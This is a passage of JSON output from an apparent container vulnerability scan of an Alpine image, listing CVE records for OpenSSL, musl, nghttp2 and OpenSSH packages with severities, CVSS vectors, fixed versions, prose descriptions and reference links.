suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-107891", "PkgID": "musl@1.2.5-r9", "PkgName": "musl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl@1.2.5-r9?arch=x86_64\u0026distro=3.21.5", "UID": "d0316c4ab0862e6b" }, "InstalledVersion": "1.2.5-r9", "FixedVersion": "1.2.5-r12", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-107891", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:28a16e8f114ebe431190ee1fc512d250ca8f0a2d160db720110cef99ac5287ed", "Title": "musl: musl: Arbitrary code execution via integer overflow in regcomp", "Description": "musl libc before 1.2.7, when an untrusted regular expression is used with regcomp, has multiple integer overflows, possibly leading to incorrect allocation sizes and out-of-bounds heap writes.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/21/18", "https://access.redhat.com/security/cve/CVE-2026-107891", "https://git.musl-libc.org/cgit/musl/commit/?id=7813e9119eb5fe681b6750b8a033a0490bca0941", "https://musl.libc.org", "https://nvd.nist.gov/vuln/detail/CVE-2026-107891", "https://www.cve.org/CVERecord?id=CVE-2026-107891", "https://www.openwall.com/lists/musl/2026/10/21/1" ], "PublishedDate": "2026-11-05T16:17:32.15Z", "LastModifiedDate": "2026-11-05T17:17:35.287Z" }, { "VulnerabilityID": "CVE-2026-40200", "PkgID": "musl@1.2.5-r9", "PkgName": "musl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl@1.2.5-r9?arch=x86_64\u0026distro=3.21.5", "UID": "d0316c4ab0862e6b" }, "InstalledVersion": "1.2.5-r9", "FixedVersion": "1.2.5-r11", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40200", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:61210f872e4b6e1b137837e51adad697e6ae17e9950a2dc9f1ca1945f3d20a9b", "Title": "musl: musl libc: Arbitrary code execution and denial of service via stack-based memory corruption in qsort", "Description": "An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).", "Severity": "HIGH", "CweIDs": [ "CWE-670" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/10/13", "https://access.redhat.com/security/cve/CVE-2026-40200", "https://musl.libc.org/releases.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40200", "https://www.cve.org/CVERecord?id=CVE-2026-40200", "https://www.openwall.com/lists/oss-security/2026/04/10/13" ], "PublishedDate": "2026-04-10T17:17:14.107Z", "LastModifiedDate": "2026-06-17T10:44:51.887Z" }, { "VulnerabilityID": "CVE-2026-107891", "PkgID": "musl-utils@1.2.5-r9", "PkgName": "musl-utils", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl-utils@1.2.5-r9?arch=x86_64\u0026distro=3.21.5", "UID": "8991799c5350cf95" }, "InstalledVersion": "1.2.5-r9", "FixedVersion": "1.2.5-r12", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-107891", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:03d033691f157fb3728ca27676afb7893b4ed7c2f116589862d16aab50dd5930", "Title": "musl: musl: Arbitrary code execution via integer overflow in regcomp", "Description": "musl libc before 1.2.7, when an untrusted regular expression is used with regcomp, has multiple integer overflows, possibly leading to incorrect allocation sizes and out-of-bounds heap writes.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/21/18", "https://access.redhat.com/security/cve/CVE-2026-107891", "https://git.musl-libc.org/cgit/musl/commit/?id=7813e9119eb5fe681b6750b8a033a0490bca0941", "https://musl.libc.org", "https://nvd.nist.gov/vuln/detail/CVE-2026-107891", "https://www.cve.org/CVERecord?id=CVE-2026-107891", "https://www.openwall.com/lists/musl/2026/10/21/1" ], "PublishedDate": "2026-11-05T16:17:32.15Z", "LastModifiedDate": "2026-11-05T17:17:35.287Z" }, { "VulnerabilityID": "CVE-2026-40200", "PkgID": "musl-utils@1.2.5-r9", "PkgName": "musl-utils", "PkgIdentifier": { "PURL": "pkg:apk/alpine/musl-utils@1.2.5-r9?arch=x86_64\u0026distro=3.21.5", "UID": "8991799c5350cf95" }, "InstalledVersion": "1.2.5-r9", "FixedVersion": "1.2.5-r11", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40200", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ffac459084c7c0d4afbd3fd232c7418fdfb45f9375071b60abe996b66a7a4fc9", "Title": "musl: musl libc: Arbitrary code execution and denial of service via stack-based memory corruption in qsort", "Description": "An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).", "Severity": "HIGH", "CweIDs": [ "CWE-670" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/10/13", "https://access.redhat.com/security/cve/CVE-2026-40200", "https://musl.libc.org/releases.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40200", "https://www.cve.org/CVERecord?id=CVE-2026-40200", "https://www.openwall.com/lists/oss-security/2026/04/10/13" ], "PublishedDate": "2026-04-10T17:17:14.107Z", "LastModifiedDate": "2026-06-17T10:44:51.887Z" }, { "VulnerabilityID": "CVE-2026-27135", "PkgID": "nghttp2-libs@1.64.0-r0", "PkgName": "nghttp2-libs", "PkgIdentifier": { "PURL": "pkg:apk/alpine/nghttp2-libs@1.64.0-r0?arch=x86_64\u0026distro=3.21.5", "UID": "e522ca22ea4867ac" }, "InstalledVersion": "1.64.0-r0", "FixedVersion": "1.68.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27135", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:8859b460074d617694faf5247067296af83937b2ed1fb6158e676bb60d7d076a", "Title": "nghttp2: nghttp2: Denial of Service via malformed HTTP/2 frames after session termination", "Description": "nghttp2 is an implementation of the Hypertext Transfer Protocol version 2 in C. Prior to version 1.68.1, the nghttp2 library stops reading the incoming data when user facing public API `nghttp2_session_terminate_session` or `nghttp2_session_terminate_session2` is called by the application. They might be called internally by the library when it detects the situation that is subject to connection error. Due to the missing internal state validation, the library keeps reading the rest of the data after one of those APIs is called. Then receiving a malformed frame that causes FRAME_SIZE_ERROR causes assertion failure. nghttp2 v1.68.1 adds missing state validation to avoid assertion failure. No known workarounds are available.", "Severity": "HIGH", "CweIDs": [ "CWE-617" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "cbl-mariner": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/03/20/3", "https://access.redhat.com/errata/RHSA-2026:10065", "https://access.redhat.com/errata/RHSA-2026:11768", "https://access.redhat.com/errata/RHSA-2026:13812", "https://access.redhat.com/errata/RHSA-2026:14773", "https://access.redhat.com/errata/RHSA-2026:14937", "https://access.redhat.com/errata/RHSA-2026:15087", "https://access.redhat.com/errata/RHSA-2026:16008", "https://access.redhat.com/errata/RHSA-2026:16009", "https://access.redhat.com/errata/RHSA-2026:16030", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:17596", "https://access.redhat.com/errata/RHSA-2026:19724", "https://access.redhat.com/errata/RHSA-2026:19725", "https://access.redhat.com/errata/RHSA-2026:20040", "https://access.redhat.com/errata/RHSA-2026:20087", "https://access.redhat.com/errata/RHSA-2026:21656", "https://access.redhat.com/errata/RHSA-2026:21690", "https://access.redhat.com/errata/RHSA-2026:21695", "https://access.redhat.com/errata/RHSA-2026:25096", "https://access.redhat.com/errata/RHSA-2026:27200", "https://access.redhat.com/errata/RHSA-2026:27201", "https://access.redhat.com/errata/RHSA-2026:6190", "https://access.redhat.com/errata/RHSA-2026:7080", "https://access.redhat.com/errata/RHSA-2026:7123", "https://access.redhat.com/errata/RHSA-2026:7302", "https://access.redhat.com/errata/RHSA-2026:7310", "https://access.redhat.com/errata/RHSA-2026:7350", "https://access.redhat.com/errata/RHSA-2026:7666", "https://access.redhat.com/errata/RHSA-2026:7667", "https://access.redhat.com/errata/RHSA-2026:7668", "https://access.redhat.com/errata/RHSA-2026:7670", "https://access.redhat.com/errata/RHSA-2026:7675", "https://access.redhat.com/errata/RHSA-2026:7896", "https://access.redhat.com/errata/RHSA-2026:7983", "https://access.redhat.com/errata/RHSA-2026:8339", "https://access.redhat.com/errata/RHSA-2026:8538", "https://access.redhat.com/errata/RHSA-2026:8539", "https://access.redhat.com/errata/RHSA-2026:8540", "https://access.redhat.com/errata/RHSA-2026:8541", "https://access.redhat.com/errata/RHSA-2026:8545", "https://access.redhat.com/errata/RHSA-2026:8546", "https://access.redhat.com/errata/RHSA-2026:8547", "https://access.redhat.com/errata/RHSA-2026:8548", "https://access.redhat.com/errata/RHSA-2026:8868", "https://access.redhat.com/errata/RHSA-2026:9711", "https://access.redhat.com/errata/RHSA-2026:9832", "https://access.redhat.com/errata/RHSA-2026:9874", "https://access.redhat.com/security/cve/CVE-2026-27135", "https://bugzilla.redhat.com/2441268", "https://bugzilla.redhat.com/2442922", "https://bugzilla.redhat.com/2448754", "https://bugzilla.redhat.com/2453151", "https://bugzilla.redhat.com/show_bug.cgi?id=2448754", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27135", "https://errata.almalinux.org/9/ALSA-2026-7896.html", "https://errata.rockylinux.org/RLSA-2026:7668", "https://github.com/nghttp2/nghttp2/commit/5c7df8fa815ac1004d9ecb9d1f7595c4d37f46e1", "https://github.com/nghttp2/nghttp2/security/advisories/GHSA-6933-cjhr-5qg6", "https://linux.oracle.com/cve/CVE-2026-27135.html", "https://linux.oracle.com/errata/ELSA-2026-8339.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00025.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27135", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27135.json", "https://ubuntu.com/security/notices/USN-8233-1", "https://ubuntu.com/security/notices/USN-8233-2", "https://www.cve.org/CVERecord?id=CVE-2026-27135" ], "PublishedDate": "2026-03-18T18:16:26.723Z", "LastModifiedDate": "2026-10-15T02:18:59.883Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh@9.9_p2-r0", "PkgName": "openssh", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f621e4b1f333b731" }, "InstalledVersion": "9.9_p2-r0", "FixedVersion": "9.9_p2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:9620c62f50bcf69ce91ad7020e915d609bc3e62125a24b3978c48856c526e1ff", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-client-common@9.9_p2-r0", "PkgName": "openssh-client-common", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-common@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a633dab62a0c31c2" }, "InstalledVersion": "9.9_p2-r0", "FixedVersion": "9.9_p2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:abf5c082e0fb94c26cd41f12a1eff38c4280e1808fbbd08d946c20d451ffa000", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-client-default@9.9_p2-r0", "PkgName": "openssh-client-default", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-client-default@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "1f6229d70abd608c" }, "InstalledVersion": "9.9_p2-r0", "FixedVersion": "9.9_p2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:776cab5c824aaf803736af087f7b64b19f00c1ad27a71c7d41959df4f11906e7", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-keygen@9.9_p2-r0", "PkgName": "openssh-keygen", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-keygen@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "1f4776e5dcc1008c" }, "InstalledVersion": "9.9_p2-r0", "FixedVersion": "9.9_p2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:fa6858d29f759f64cf5488257c07a4071024ef8f47a626991e974acb2871e0cb", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-server@9.9_p2-r0", "PkgName": "openssh-server", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-server@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "909fbf120819d1fb" }, "InstalledVersion": "9.9_p2-r0", "FixedVersion": "9.9_p2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:92cb0c912edc932631f3133d9a5acbfb27098671c1804d26683b2b766b48bfdd", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-server-common@9.9_p2-r0", "PkgName": "openssh-server-common", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-server-common@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "9d311620f4e995b1" }, "InstalledVersion": "9.9_p2-r0", "FixedVersion": "9.9_p2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:7e17091f7b2ffb7849f43a6b9304de0cf72f0c0330ac948a53e4d0a8265fd9eb", "Title": "openssh: OpenSSH: Password authentication bypass via password hash misinterpretation", "Description": "sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.", "Severity": "HIGH", "CweIDs": [ "CWE-394" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-123158", "https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/", "https://github.com/google/goonami-scanner/pull/277", "https://github.com/leonjza/sshhole-lab", "https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482", "https://github.com/predkambrij/sshhole-repro", "https://hachyderm.io/@damienmiller/117563026759098135", "https://marc.info/?l=openssh-unix-dev\u0026m=179388064263131\u0026w=2", "https://news.ycombinator.com/item?id=50377976", "https://news.ycombinator.com/item?id=50378228", "https://news.ycombinator.com/item?id=50379704", "https://nvd.nist.gov/vuln/detail/CVE-2026-123158", "https://sshhole.com", "https://www.cve.org/CVERecord?id=CVE-2026-123158", "https://www.openssh.org/releasenotes.html#10.6p2" ], "PublishedDate": "2026-11-05T16:17:47.11Z", "LastModifiedDate": "2026-11-06T05:18:26.71Z" }, { "VulnerabilityID": "CVE-2026-123158", "PkgID": "openssh-sftp-server@9.9_p2-r0", "PkgName": "openssh-sftp-server", "PkgIdentifier": { "PURL": "pkg:apk/alpine/openssh-sftp-server@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a20884e887fc3a6a" }, "InstalledVersion": "9.9_p2-r0", "FixedVersion": "9.9_p2-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-123158", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, 